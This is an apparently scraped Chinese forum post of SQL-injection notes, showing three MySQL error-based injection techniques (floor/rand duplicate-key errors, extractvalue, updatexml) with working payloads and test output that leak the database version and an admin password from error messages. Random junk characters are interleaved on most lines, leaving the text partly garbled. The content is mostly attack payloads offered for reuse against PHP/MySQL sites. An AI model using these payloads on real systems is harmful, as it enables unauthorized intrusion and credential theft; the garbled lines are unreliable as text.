放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
& m8 Q: Y' j2 J8 }/ q9 Z实际测试环境:
9 t: \ k6 A& H) x$ g5 g) z* q. H: b, X* {* @6 w o* X4 q7 S5 E+ T
6 \# B8 p3 d7 j9 [+ Lmysql> show tables;; V' y. I, V: u% |/ X0 A" N
+----------------+7 K& X" |; T) h* `& w2 e+ n
| Tables_in_test |" o$ b4 X) h5 H6 I
+----------------+
) t; w8 f/ |2 @# m| admin |( U$ `$ S- \2 j3 p. Z& U. p* B
| article |
& ~ {* R! K+ K$ q, r4 r/ d/ K+----------------+
6 u$ @. C% M7 K; n$ ~: _# {1 k, P 8 b$ E2 j W) a1 w" q2 k' f- w
2 w% ?: e% w* T$ L! z2 J5 Y
) o, c7 B+ M2 ]! Zmysql> describe admin;( o# b& S- h3 P. z. k, Y- z
+-------+------------------+------+-----+---------+----------------+! O, d: w: n- S5 u- I7 R
| Field | Type | Null | Key | Default | Extra |( Z$ |% U6 }1 I q; s4 k' G
+-------+------------------+------+-----+---------+----------------+
- x& @# O( m8 F4 K| id | int(10) unsigned | NO | PRI | NULL | auto_increment | T3 G" v2 Q4 e' t1 p: m+ X
| user | varchar(50) | NO | | NULL | |" y' l# f8 N3 W. ~
| pass | varchar(50) | NO | | NULL | |) b: b4 W" F5 [+ }* g
+-------+------------------+------+-----+---------+----------------+7 x) V' k; l* r) N4 K
1 I: Z+ R2 K; `/ O4 w
- ?. a3 B! g6 B* C# Q! K& x
; N5 U! ]3 t* p2 kmysql> describe article;
2 l, r( T) U \8 L8 l/ \+---------+------------------+------+-----+---------+----------------+7 E) `6 Q k: ~* ], O5 e
| Field | Type | Null | Key | Default | Extra |
9 l* e. _9 m; j( I* d+---------+------------------+------+-----+---------+----------------+
0 g7 `# W( h* `( h3 A| id | int(10) unsigned | NO | PRI | NULL | auto_increment |. ~$ ~( X# s( i7 {
| title | varchar(50) | NO | | NULL | |- o: N# `$ X; E
| content | varchar(50) | NO | | NULL | |+ A' W. b- F% b/ t6 O
+---------+------------------+------+-----+---------+----------------+
! \ S' P/ K0 N/ @) K5 R1、通过floor报错+ H! J3 A6 @, O+ v
可以通过如下一些利用代码
* X, w6 H2 `+ b& k + ?" x2 t6 X+ e3 E0 i; ^
) T+ R; `+ b, A$ K- y2 Y$ E
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
& n) h5 w" i# B) e0 M4 ~ Qfrom information_schema.tables group by x)a);
2 K( Y$ H8 W; q9 W# D
3 ]; b! e2 E% r$ c" w: H2 i4 v* S
0 l) m2 `7 a7 C Q7 _and (select count(*) from (select 1 union select null union select !1)x
1 D; A! R) \/ D, W# `7 G& Zgroup by concat((select table_name from information_schema.tables limit 1),+ p1 J+ M! b! w% ] U: ^' H N- T+ B
floor(rand(0)*2)));
7 Y, N# Z3 O; l9 D举例如下:
% H @" W$ |4 A/ v( p! ~2 B% R3 o0 N首先进行正常查询:) I1 ~& {9 `, q# `- d
) a m; q+ Q. P1 }4 |2 t7 k/ A3 Tmysql> select * from article where id = 1;; ^' c) V! J0 U4 x+ @
+----+-------+---------+4 g9 }% T3 L" S/ @; O" x! }/ O
| id | title | content |
. K, [) q/ w/ H) ]5 f; B% X+----+-------+---------+
% f2 D2 B, C9 _# |/ j/ e* h| 1 | test | do it |
" b, \- L) c4 x1 Q( R- T& y+----+-------+---------+
" R: [# b$ c% ?假如id输入存在注入的话,可以通过如下语句进行报错。
/ F5 H0 b) q' J' f6 j % u$ {; B! x2 K# \% ?: K8 f
) Z& ]7 ~4 l# N) \mysql> select * from article where id = 1 and (select 1 from4 Z7 _1 z7 n7 A. `) L
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);/ V9 [) d5 f7 P4 ]% { `
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'& j; r ?( {9 K6 j. ^. d
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
" h- i/ A ~9 Y7 ]( A0 f5 N: ~, F例如我们需要查询管理员用户名和密码:4 c! I3 q: H# m# `, q. V0 Q; }! o
Method1:6 f" Q* g9 n' v; r6 M: V3 p. ~; l
2 ^, ?0 C3 O0 Z# a( O, a
; t6 N2 m! k+ R9 v8 Y$ n
mysql> select * from article where id = 1 and (select 1 from
5 |4 `7 t. a$ K5 w7 }5 J(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x0 b4 v) R) _( g# ?" @# {
from information_schema.tables group by x)a);
6 D2 _6 H* B4 Y! [8 S' YERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'0 `/ |/ y% M- @* f0 j/ Z5 [
Method2:0 j$ o6 F& x, M
' v9 H; G6 A( T. t) \' D
8 _/ V$ v8 Y* i d3 nmysql> select * from article where id = 1 and (select count(*)
5 J% A( T' i6 o8 G+ Xfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),6 b" J# A- s! d$ j5 @: T/ z& O
floor(rand(0)*2)));
3 m7 o0 _' v' Z% v0 b) FERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'4 x% W# u1 Z' n- G1 M
2、ExtractValue& M b; Q: o1 o4 J
测试语句如下
" P1 u/ |5 P( ^- F6 V ; a6 z; P! ]" g9 L6 Y
9 [4 C9 v1 ~8 g* qand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));2 a2 O6 w5 x* X' r, J" f% E' u
实际测试过程$ `; j, C1 D0 x; k, ]0 {
1 p, y+ s3 Q) B( |7 D: {' ~6 W
) f: w" c8 m( t. E+ l9 zmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
' X: N: k8 Y) h- B3 C* P9 g(select pass from admin limit 1)));--
6 Q% P/ x: P+ i% u0 tERROR 1105 (HY000): XPATH syntax error: '\admin888'
" Z; V9 l4 m2 i: v. z" {; B9 u8 V3、UpdateXml$ x% P b2 C: t. S
测试语句) e% J1 Y, a) B1 ^% i
/ X N( D8 E+ f q
8 o L+ o$ B/ Zand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
6 @9 K0 i* ~. p W+ R* n& Q8 E, ]' q实际测试过程, _. F) o4 f2 u6 j
# S3 v; b: i- y8 X* K7 a6 V
. G9 F: ]" L1 Kmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
, Q# J3 o9 x9 d0 ^& \(select pass from admin limit 1),0x5e24),1));6 s, w; I- \# c
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$': Y! }: C4 S4 }7 m% j4 X, @: i
All, thanks foreign guys.3 l- @/ w. N8 M2 F
+ @7 h1 u u: J& s
( F1 n' L* J2 |
|